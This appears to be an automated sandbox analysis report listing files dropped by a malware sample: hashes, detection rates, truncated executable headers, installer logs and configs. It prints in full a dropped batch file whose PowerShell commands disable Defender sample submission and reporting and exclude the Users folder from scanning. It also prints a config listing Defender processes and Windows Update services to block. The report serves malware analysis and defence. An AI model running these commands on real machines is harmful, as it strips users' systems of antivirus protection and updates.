SHA-512:	16916BC4477F6FC1AE1132D2F5D2B9587650DC44E23DE15E0FE787AFE23175E0E236C020C753BA5158F688BEACDA523AAFB7EC1DF82B6F7619573C90A48742E8
Malicious:	false
Preview:	wgNj

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rfxvmt.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	37376
Entropy (8bit):	5.7181012847214445
Encrypted:	false
SSDEEP:	768:2aS6Ir6sXJaE5I2IaK3knhQ0NknriB0dX5mkOpw:aDjDtKA0G0j5Opw
MD5:	E3E4492E2C871F65B5CEA8F1A14164E2
SHA1:	81D4AD81A92177C2116C5589609A9A08A5CCD0F2
SHA-256:	32FF81BE7818FA7140817FA0BC856975AE9FCB324A081D0E0560D7B5B87EFB30
SHA-512:	59DE035B230C9A4AD6A4EBF4BEFCD7798CCB38C7EDA9863BC651232DB22C7A4C2D5358D4D35551C2DD52F974A22EB160BAEE11F4751B9CA5BF4FB6334EC926C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........qc..qc..qc......qc...`..qc...g..qc..qb..qc...b..qc...f..qc...c..qc...j..qc......qc...a..qc.Rich.qc.................PE..d...#............." .....Z...>.......]...............................................a....`A.........................................~..........@...............................\... x..T............................p...............q..P............................text....Y.......Z.................. ..`.rdata.......p.......^..............@..@.data...P............z..............@....pdata...............\|..............@..@.rsrc...............................@..@.reloc..\...........................@..B........................................................................................................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	115712
Entropy (8bit):	6.25860377459178
Encrypted:	false
SSDEEP:	1536:+8zEo3EM0MBfGCqx22eMO4HROUeS2qjVO+n98TLmifu:LzEms12D4xOU31n98TLmh
MD5:	BD1D98C35FE2CB3E14A655AEDE9D4B01
SHA1:	49361C09F5A75A4E2D6E85FBDA337FC521770793
SHA-256:	961C65CFDF0187A945AD6099EFD9AF68D46D36EC309A2243F095EF739EE9AC7E
SHA-512:	74BFD70A08E2CB86AF10B83D0CFD723A24613C9E6E2018CDC63BD425D45845C1214BF68115E04F95572684F27A0CF52D271E2419F8056E0A0467B88507D132D4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...*............Y........................................P.......p....`... .........................................^....................................@..p...............................(...................X................................text...8...........................`..`.data........0......."..............@....rdata..pi...@...j...$..............@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^...........................@..@.idata..............................@....CRT....X.... ......................@....tls.........0......................@....reloc..p....@......................@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	12514
Entropy (8bit):	5.33408248494771
Encrypted:	false
SSDEEP:	48:CFdHr+54yclD8cm9FLQIhs5ZR5mLU5+sR5HR5OKXbem5ZR5mLU5+sR5HR5OKXbeY:idHxN8J9VLjvvuvvvvvvvvvD
MD5:	94A7B22F4F218FD48101B2FA3B0D7B79
SHA1:	C078E2C913C9E2BF233B69A0C63C23290A4DFEA2
SHA-256:	99A7F1976DCB1B5C7980CFDB43025B069EC97DCDAC8DC3DA083B752A7787C4B3
SHA-512:	99781CEB5AAA844AA5E24AED13EE0679DA8CEE639AACB0621D75E810F1A664B24998C0BF03414A55CE36783454FA03A714A4602B81E4A50D9DE82046D46EC6BB
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.log)..[I] (debug_init) -> Done..[D] (ini_get_sec) -> Done(name=main)..[D] (ini_get_var) -> Done(sec=main,name=version,value=400004957b19a09d)..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ff8c8850000)..[D] (module_get_proc) -> Done(hnd=0x00007ff8c8850000,name=RtlGetVersion,ret=0x00007ff8c888e520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=934d772a)..[I] (sys_init) -> Done(sys_uid=c76a8f08934d772a,sys_os_ver=10.0.19045.0.0)..[I] (net_init) -> Done..[I] (sam_init) -> Done..[I] (ebus_init) -> Done..[I] (ebus_subscribe) -> Done(handler=0x00007ff8b915e342)..[I] (tcp_connect) -

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\termsrv32.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	91136
Entropy (8bit):	6.2041507656664825
Encrypted:	false
SSDEEP:	1536:SgYI/+tvE0A2HTsPtbNqnXi2h+t3w8S31+g5KvSxY:SgYIl2HIPtbNkrhPl+4K6e
MD5:	CB4F460CF2921FCD35AC53F4154FCBE0
SHA1:	AFD91433EF0C03315739FB754B16D6C49D2E51F2
SHA-256:	D6B5B5303D7079CF31EA9704E7711A127CFE936EA108CDFFF938C7811C6EDA31
SHA-512:	BEE872D6B1226409C472636255AE220BA8E0950C0D65DD0D8B9F3E90D43B65FFE2133B33648452C34A3F1BCA958F10BAF3FADBA5BF4228057928F4EEAC7AB600
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 70%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...*.....`......Y.....................................................`... ..............................................................`..................d............................I..(......................h............................text...X...........................`..`.data...............................@....rdata.. T.......V..................@..@.pdata.......`.......8..............@..@.xdata..4....p.......B..............@..@.bss....@................................edata...............L..............@..@.idata...............N..............@....CRT....X............^..............@....tls.................`..............@....reloc..d............b..............@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\termsrv32.ini

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	Generic INItialization configuration [SLPolicy]
Category:	dropped
Size (bytes):	456534
Entropy (8bit):	5.450314708570292
Encrypted:	false
SSDEEP:	1536:ElNN33L+MUIiG4IvREWddadl/Fy/kY5Psv:EX33L+MBdadl/Fy/kr
MD5:	AC8B2EA4A310D6748A8845C235A3CDC8
SHA1:	0B489969C7D95411E4104B9BB952C0024EDE1616
SHA-256:	77BA4F6F25BA1050847C22B7AAF1E662650A99A15222466091FB056F436048E3
SHA-512:	0E807AF4D4E0D2F71FB8BE93DFCBCE62F3077E7C94B993529A0012088304A1B34BEDF8915EA23A83611FAB66495B1F8359225DBF95ED3F37C16607257217F191
Malicious:	false
Preview:	; RDP Wrapper Library configuration..; Do not modify without special knowledge..; Edited by sebaxakerhtc....[Main]..Updated=2024-11-24..LogFile=\rdpwrap.txt..SLPolicyHookNT60=1..SLPolicyHookNT61=1....[SLPolicy]..TerminalServices-RemoteConnectionManager-AllowRemoteConnections=1..TerminalServices-RemoteConnectionManager-AllowMultipleSessions=1..TerminalServices-RemoteConnectionManager-AllowAppServerMode=1..TerminalServices-RemoteConnectionManager-AllowMultimon=1..TerminalServices-RemoteConnectionManager-MaxUserSessions=0..TerminalServices-RemoteConnectionManager-ce0ad219-4670-4988-98fb-89b14c2f072b-MaxSessions=0..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-MaxSessions=2..TerminalServices-RDP-7-Advanced-Compression-Allowed=1..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-LocalOnly=0..TerminalServices-RemoteConnectionManager-8dc86f1d-9969-4379-91c1-06fe1dc60575-MaxSessions=1000..TerminalServices-DeviceRedirection-Licenses-TS

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\update.pkg

Download File

Process:	C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe
File Type:	data
Category:	dropped
Size (bytes):	10480965
Entropy (8bit):	6.710750822103746
Encrypted:	false
SSDEEP:	196608:piRu5DnWLX6Cs3E1CPwDvt3uF8c339CMEdy:piRsCKCsU1CPwDvt3uFd9CMEY
MD5:	458F2D710689EA3CF61D5CD97C6B2470
SHA1:	BA71901A29F77715A3DC952578F6D249B944FE26
SHA-256:	47EFC91DA1E9481DB93259248A06349FB3EE58B0C7516A1570F212C3E1CE2119
SHA-512:	C1884FE6C0FB753D494BC095A43FB9E43DF7F9DB9AD02FCA4F73206D2590A1637119BF2EF5C090F7D502928D56B0838101A9FB56C58B3DB58BDA29D97977F421
Malicious:	false
Preview:	.......referrer.wgNj....cnccli.dll.MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...............Y........."h.............................P......JA....`... .........................................^....................................@..l...............................(.......................h............................text...x...........................`..`.data........0....... ..............@....rdata.. d...@...f.................@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^...........................@..@.idata..............................@....CRT....X.... ......................@....tls.........0......................@....reloc..l....@......................@..B....................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\7h14dhb9g32w177ypoi9wje.bat

Download File

Process:	C:\Users\user\Desktop\cZO.exe
File Type:	DOS batch file, ASCII text
Category:	dropped
Size (bytes):	259
Entropy (8bit):	4.933902901538645
Encrypted:	false
SSDEEP:	6:hJKBnm61gV/eGgLSzomkNgBnm61gV/eGgVPgBnm61PeGgdEYJgrWy+5:unm0gViLUomqsnm0gViaBnm0SuQgrWt
MD5:	261A842203ADB67547C83DE132C7A076
SHA1:	6C1A1112D2797E2E66AA5238F00533CD4EB77B3D
SHA-256:	49ADF0FC74600629F12ADF366ECBACDFF87B24E7F2C8DEA532EA074690EF5F84
SHA-512:	7787C5F10EC18B8970F22B26F5BB82C4A299928EDB116A0B92FB000F2A141CCB4C8BCAB3AB91D5E3277ABDA8F2D6FE80434E4AEF5EE8A5CD3223CFB9989A6337
Malicious:	true
Preview:	@echo off..powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend".powershell.exe -NoLogo -Command "Set-MpPreference -MAPSReporting 0".powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath '%HOMEDRIVE%\Users\'"..exit 1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0sgtamsq.ug0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_actcpao1.kt3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b1mfdzss.bjv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ebgn3tjo.qtv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gmgjwo55.x4e.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mi1gil4y.nsl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o1o2y45g.mdg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oevjvekl.wcu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rvv1m5ii.01a.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rxpcr3rk.rzv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_svygozhu.2z0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wy0a1vof.yoo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\installer.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3745
Entropy (8bit):	5.5088592721875305
Encrypted:	false
SSDEEP:	96:i68J9VLDT0HU0Hn0H1QE0He0H+kQHR3VPzFW0HMVVHBHR0HMttHMH:/OT/T000H0GE0+0TQxlPzFW0AVhx0Ct2
MD5:	1A6D604458150AD8DA33BDD29F3B84BB
SHA1:	99A4E1994A0E4B868EBBBB838DC7EB342F2B8CBC
SHA-256:	76CC45F29FAE72234E83A0986C78366F5B5CF711F55C60B118EA9EA3C72070C7
SHA-512:	19C7A4793D6E1C74C53C4E6DFC2AEA28F3514EEAEF462B44093DF4108F245FCBB9437C9663A5104866F58023A004C3A0361E06F6B47E5D56F86B1A4D41C1973F
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\user\AppData\Local\Temp\installer.log)..[I] (debug_init) -> Done..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ff8c8850000)..[D] (module_get_proc) -> Done(hnd=0x00007ff8c8850000,name=RtlGetVersion,ret=0x00007ff8c888e520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=934d772a)..[I] (sys_init) -> Done(sys_uid=c76a8f08934d772a,sys_os_ver=10.0.19045.0.0)..[I] (net_init) -> Done..[I] (fs_path_expand) -> Done(path=%PUBLIC%,xpath=C:\Users\Public,xpath_sz=15)..[I] (fs_dir_create) -> Done(path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\,recursive=1)..[D] (fs_attr_get) -> Done(path=C:\Users\Public\Computer.{20d04fe0-3aea-1

C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe

Download File

Process:	C:\Users\user\Desktop\cZO.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	10669056
Entropy (8bit):	7.443816651911507
Encrypted:	false
SSDEEP:	98304:RzfenAfcSl0KeEoTnZ4gBu8P1TAB3ruLIb9ly73Ji3vhqNDMmL98fjd3KiY9LeOm:gA/0F5PdyrlSQ5qNDMmYjd3RY9Lesc
MD5:	2F829F1CB631D234C54F2E6C6F72EB57
SHA1:	BD76CB633ED42E9E94580E1D995AF2E36D9E1A11
SHA-256:	09B3B106A22BCB2DF3F09C7A1A082F2FE62927C337C183D3813D21513FB3FA43
SHA-512:	71C0B077AA63B6DF3A1C2E0A1A0E179DA0466518F2BE6E10871642F03B3B8F63318258DA8C93B78E0CA45C753C3A6524751187FF3D5952D336BE3461651D0CD9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 70%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................*......................@.............................@.......6....`... ................................................................d............0..............................`...(....................................................text...............................`..`.data....J.......L..................@....rdata...^...P...`...<..............@..@.pdata..d...........................@..@.xdata..............................@..@.bss....p...............................idata.............................@....CRT....`..........................@....tls......... .....................@....reloc.......0.....................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe

Download File

Process:	C:\Users\user\Desktop\cZO.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	6.298274541598319
Encrypted:	false
SSDEEP:	1536:EJm0mRQUtrg7DYy+F2aQuuvL7V0Y91n1ot:EJmjSUtMiF2suvVr11ot
MD5:	319865D78CC8DF6270E27521B8182BFF
SHA1:	716E70B00AA2D154367028DE896C7D76C9D24350
SHA-256:	A78945E7532ECDB29B9448A1F3EEF2F45EC2F01CA070B9868258CBCD31EAC23F
SHA-512:	78CD48C8BA558DFFC204A70DBFF13889984F80F268A715FEC7FC018A7718A11822975F775D44A927C5815AA2CCC0D78502264354BF5D8C0502B5A0A323948611
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(.....\|.................@....................................#7....`... ..............................................................................................................a..(....................... ............................text...............................`..`.data...............................@....rdata...R... ...T..................@..@.pdata...............R..............@..@.xdata...............\..............@..@.bss....0................................idata...............f..............@....CRT....`............z..............@....tls.................\|..............@....reloc...............~..............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wfpblk.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe
File Type:	Generic INItialization configuration [svc]
Category:	dropped
Size (bytes):	195
Entropy (8bit):	4.692426693515089
Encrypted:	false
SSDEEP:	3:PCLtupyhdA5A1XJy31ae0CYUAM9t2X0DwL1Uy/5ookVqEfokH2VmM74osLSgRUYp:PItZLJ4aZC9b/EhUyBjZBkWESqj
MD5:	E025B58CB2D118FAFAE00850EE91C5F9
SHA1:	DD23CE328F593AF74455F2C2F805B662466A1205
SHA-256:	897FC59CEDFBCAFDB9D0BEFEE9FC21A1B4C61259992A40F1986921E406E36340
SHA-512:	5CD3F72CB1FF5754F3329A1EF1C7D45826BE48540AAD60FC55B91C7EFDCBBEF8B6BEB66ED7E2CF338348CE3C43DE2C8B2C0E72C681A8C314ADBAE0F844C7B7EF
Malicious:	false
Preview:	[app]..MsMpEng.exe=1..MsSense.exe=1..SenseIR.exe=1..SenseNdr.exe=1..SenseCncProxy.exe=1..SenseSampleUploader.exe=1..[svc]..wuauserv=1..DoSvc=1..UsoSvc=1..WaaSMedicSvc=1..[ip4]..54.243.255.141=1..

C:\Users\user\AppData\Local\Temp\wfpblk.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	21915
Entropy (8bit):	5.097909774076672
Encrypted:	false
SSDEEP:	384:abbEbNQ6s69WS8vv88o88888888888888j8888888888e88888880888888888AA:abbEbNQ6s69WS8vv88o888888888888v
MD5:	DC054B75BDFB351BDF2328E6851D328E
SHA1:	2A9E461CFEECC61E9E708BEFAD840DC413CB851E
SHA-256:	3F9EC2FB04F5FFEFED7E0245E0BB2BE99E03CAF7F960961EC9DF05F5D4CA1CC4
SHA-512:	D73E56AA3D6EDB791628B300616F07C0CE2FA7F24C19470A2958D0E647E226DCF6FDA3EAB97B2103A3D25D32E70FC24C7CE9DFF49C48182933663DDB1D0D7AD5
Malicious:	false
